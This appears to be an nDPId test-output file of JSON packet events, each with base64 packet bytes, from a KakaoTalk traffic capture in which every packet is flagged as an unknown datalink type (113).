+00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1139,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":740058,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHRH9CAHJAa4KGFK8WgQsOABejYeAbDI5fqzCQ1SapdpaQLQ4ej9D6xe8KZKZopLPNMpa11CsNPyCTji6+sAD5qzKM0JDyyF0kK5o8HhD2iKDWrIBOULYuPeml0jQG3u0\/PO\/nP8DiBGcqw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1139,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1140,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":764685,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLpKeAbDI\/fqzYw1SapdoXOQ7pnPBorOXIo5+k+Sgk0drc0QWGnlJ6LF\/vc8Zmr\/TtxE+\/NrMiw0JjmtReFHf1Rc+GMT65"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1140,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1141,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":783423,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG0AAEAAHRH9DQHJAa4KGFK8WgQsOABZeRaAbDI6fqzGA1Sapdpij\/VOmo7kNJRtYnlnANmeQXxGkG7UIG4gUR80UK2LtNC3ybnjIUdz9gkoOoQeoS0vHopoqas2PvwKHfE8TKQ33zLguRA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1141,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1142,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":808112,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/zWSAbE+5iz13GguGVRnCc3WpnJ9KOINqV\/peo4LmfYMq4W3LlAWY1nYY4vhJqVcmKmZYd7485nrY"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1142,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1143,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":809851,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFQAAEAAPxHbTgoYUrwByQGuLDhaBABApbiAbE+6iz162guGVRl+fdxorpl0aCKgPZAAVQbiEtPKFcgH5r5Gf9Kax3UXGddRufDbMP82d6vwUQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1143,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1144,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":819464,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGUAAEAAHBH+FQHJAa4KGFK8WgYoHABR38uAbE+0iz1kWguGVRlqTyyP6vQKMFBqiIi\/Xru8cHPcK3nmAX1kLL1LjyJZyq17CdWpByKl8by2zFwuBWM+xioKSiX+0vKkILsY"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1144,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1145,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":827368,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFQAAEAAHBH+JgHJAa4KGFK8WgYoHABAi3OAbE+1iz1oGguGVRkFHPha3JMK2enpMWnuY2zogb7A4kHGjMgkbEAEsNHUS0s34YvInTUyb2R9Ow=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1145,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00463{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1146,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":859107,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAQBHaPwoYUrwByQGuKBxaBgBPkwmAbDJAfqzcg1SapdoFBDGnKs\/\/6osS3XAjmOeO8vS8EV5KtdkFuu1kBju1jz\/adWxNMz6ERA0Zmm3Q37ZqIG7WgwwBnv+T8Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1146,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1147,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":899451,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGsAAEAAHRH9DwHJAa4KGFK8WgQsOABXLnuAbDI7fqzJw1Sapdr8KyT8KUHpsoAl6HwbYn7i1CScfIK7K3JAWKWcMTrbw3pshFqQQhvorRAL\/YlpDOucBKeRrRvOzWal4b33F8yA8Br2"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1147,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1148,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":902869,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGQAAEAAQBHaPgoYUrwByQGuKBxaBgBQ8UaAbDJBfqzgQ1SapdodovP6R5PvwlXYfTdo4Hy7JBhCRZabCBkqEHvajU1w0AAZisRgRnhK2vjzC7Hi7qYJPBmrIRfIMA2piPg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1148,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1149,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":911658,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/GFGAbE+7iz1+mguGVRn4umxj40aYpGJKjRh2puNTwBZAstl+wNzMJjGYS5nTHfsFfcwflaNKakQ+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1149,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1150,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":917365,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/LmyAbE+8iz2CWguGVRn1n65y4S3BFuBMlNDZSZAOqRmvInAvaWpRhZoc17HkL5vWR7yej+rbyPZ4"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1150,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1151,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":924109,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGwAAEAAHRH9DgHJAa4KGFK8WgQsOABYzdeAbDI8fqzNg1SapdqbqljgXpF1PcxkxRbZ+WyHXJ\/UKiGAiFiZm5BYiADg5cXtZWFtkf8foFcVA1Rih4BAIr0QlFmOt6IkIwy1lTcRU1j1Cg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1151,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1152,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":939521,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHBH+IwHJAa4KGFK8WgYoHABDNrCAbE+2iz1r2guGVRkrUr\/jTaN4VmI9HNsS7niRdw3MNCEOMVm6ykh\/S4jA0YDnQGyJfglouiZAAzb22A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1152,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00529{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1153,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":947425,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJgAAEAAQBHaCgoYUrwByQGuKBxaBgCEpTOAbDJCfqzkA1SapdrWwYmyK+z5r0+1OxHteYUJxzYoeCz5dS0nvlYjIJqv8+HlrqLA7qlxCYh1EUo046vaPaU\/VRazupgpkE3jJah3byprmjNzBz7aayq8oma+iXEZSjpumaDDyrpdrfcfxAo3dGS0WTqSUKp+CI5n91OC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1153,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1154,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":965308,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/8syAbE+3iz1vmguGVRns\/1ip+WfoJe8JobRsefMWdKPp7iDafl5bWE1Qd5oPs+ypbeH8sdcOrgbd"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1154,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00464{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1155,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":975684,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGgAAEAAHRH9EgHJAa4KGFK8WgQsOABU7WyAbDI9fqzRQ1SapdpManX9tkd5bhoPmioagojPLfyvFk7YnJ6HDSn7m9aazmW9gu8esOPrHz7H5NUA4nhHRl9oGNY1EdpTUhnYerD+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1155,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1156,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":991980,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/wVaAbE+4iz1zWguGVRknjp8TOzjgbMgERhr\/\/V4UGmXA71lqC9KM\/7uvaTlxeCNw2sx3k++LpYhv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1156,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1157,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069186,"pkt_ts_usec":992133,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHRH9HQHJAa4KGFK8WgQsOABJKC6AbDI+fqzVA1SapdrniHbKSianfxQpaCv+rkWgPVs8xmhsYk2FtiGs0Zp1SZl1r2WSJahd\/QP\/XO3aa8U0r8MH2w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1157,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1158,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":12213,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLoI2AbDI\/fqzYw1SapdoXOQ7pnPBorOXIo5+k+Sgk0drc0QWGnlJ6LF\/vc8Zmr\/TtxE+\/NrMiw0JjmtReFHf1Rc+GMT65"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1158,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1159,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":15845,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJZ9KAbE+9iz2GGguGVRlike403wipyXjIYwMWHLhOWl1VEJ1xwaItlYCE\/ZqBypBPUKSyAjqviwqSKSZU8HNuvbGwjQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1159,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1160,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":19568,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/0X6AbE+5iz13GguGVRnCc3WpnJ9KOINqV\/peo4LmfYMq4W3LlAWY1nYY4vhJqVcmKmZYd7485nrY"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1160,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00558{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1161,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":44348,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKwAAEAAQBHZ9goYUrwByQGuKBxaBgCYM+GAbDJDfqznw1Sapdpslmw+QKM8ZKjOlfrwPbXlzcVMSPS+TMac09yRfl\/YFNLV7w4uWuXuvI2ZG5+akZoIgh0VCSnf+OGFTIYsiVnx2bTJdKsZjPRAdH\/PkFBhPCgab+26U1aJX4RN3Ph7fQVZcy1UUWWN\/SESMSxpaZKTDSRzTLKUNf4E2MOjoEuGzcv+HIw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1161,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1162,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":51398,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFQAAEAAHBH+JgHJAa4KGFK8WgYoHABAqdKAbE+6iz162guGVRl+fdxorpl0aCKgPZAAVQbiEtPKFcgH5r5Gf9Kax3UXGddRufDbMP82d6vwUQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1162,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1163,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":79444,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGMAAEAAHRH9FwHJAa4KGFK8WgQsOABPju+AbDJAfqzcg1SapdoFBDGnKs\/\/6osS3XAjmOeO8vS8EV5KtdkFuu1kBju1jz\/adWxNMz6ERA0Zmm3Q37ZqIG7WgwwBnv+T8Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1163,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00547{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1164,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":86859,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKQAAEAAQBHZ\/goYUrwByQGuKBxaBgCQNpmAbDJEfqzrg1SapdqSq3iqCik+XdMpdN9Pz0AXTQfqirko19Zj3UP+hIDUOSXINgrzhmkIMLLWE04Do3Uw0K9CAu2II+GBPCbdnZgxTzHQYikKsmLaAwLnjvbIuA8VpxBA\/rLBlaA+xSmTKxiXEW6kCxW91c\/mhHOYyOM6fhkG\/A2Dke7dZ4bC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1164,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1165,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":87531,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGQAAEAAHRH9FgHJAa4KGFK8WgQsOABQ7SyAbDJBfqzgQ1SapdodovP6R5PvwlXYfTdo4Hy7JBhCRZabCBkqEHvajU1w0AAZisRgRnhK2vjzC7Hi7qYJPBmrIRfIMA2piPg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1165,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1166,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":99463,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/HGuAbE+7iz1+mguGVRn4umxj40aYpGJKjRh2puNTwBZAstl+wNzMJjGYS5nTHfsFfcwflaNKakQ+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1166,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1167,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":110053,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/MoaAbE+8iz2CWguGVRn1n65y4S3BFuBMlNDZSZAOqRmvInAvaWpRhZoc17HkL5vWR7yej+rbyPZ4"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1167,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1168,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":113593,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFYAAEAAPxHbTAoYUrwByQGuLDhaBABCrJeAbE++iz2J2guGVRnRvpsqIXgLEeKVvEqG6BbTzuL8Ndo1wtm3W4y4QgVQKkoXNm5\/856+owxeiXEg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1168,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1169,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":119025,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/JDyAbE+\/iz2NmguGVRmy\/cN7WK2G+bXSeg5\/yRJmhUMc5\/dP3uGZeK0wtM8O2CS\/R0bYr+F3Yf2I"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1169,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00514{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1170,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":127112,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIsAAEAAQBHaFwoYUrwByQGuKBxaBgB3JS2AbDJFfqzvQ1Sapdr3AADaHbmFrnnHeW4kUCeEOGBIorZ4YscNgAlJhGCLxmHn3Cz4qBa0B55yJPog+WJuqADKoT2xMv3lyTdZL+mzIMN3l\/BbgMEnwapt8DhdYzpY\/dxsqMBg+bo26ZldxKhHB1Y="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1170,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00529{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1171,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":163367,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJgAAEAAHRH84gHJAa4KGFK8WgQsOACEoRmAbDJCfqzkA1SapdrWwYmyK+z5r0+1OxHteYUJxzYoeCz5dS0nvlYjIJqv8+HlrqLA7qlxCYh1EUo046vaPaU\/VRazupgpkE3jJah3byprmjNzBz7aayq8oma+iXEZSjpumaDDyrpdrfcfxAo3dGS0WTqSUKp+CI5n91OC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1171,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1172,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":191352,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJa+yAbE+9iz2GGguGVRlike403wipyXjIYwMWHLhOWl1VEJ1xwaItlYCE\/ZqBypBPUKSyAjqviwqSKSZU8HNuvbGwjQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1172,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1173,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":217017,"pkt_caplen":131,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHMAAEAAQBHaLwoYUrwByQGuKBxaBgBfee2AbDJGfqzzA1SapdoFFWK6MhBK7JMHbL3WmSOlUn+fuXQlfuhPvFWbEV1Rt\/iquI3Mgty3nfej5cGef8ozsWGSZI0OZIQqZVXmjguO02UHR3q8Evy5iNQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1173,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 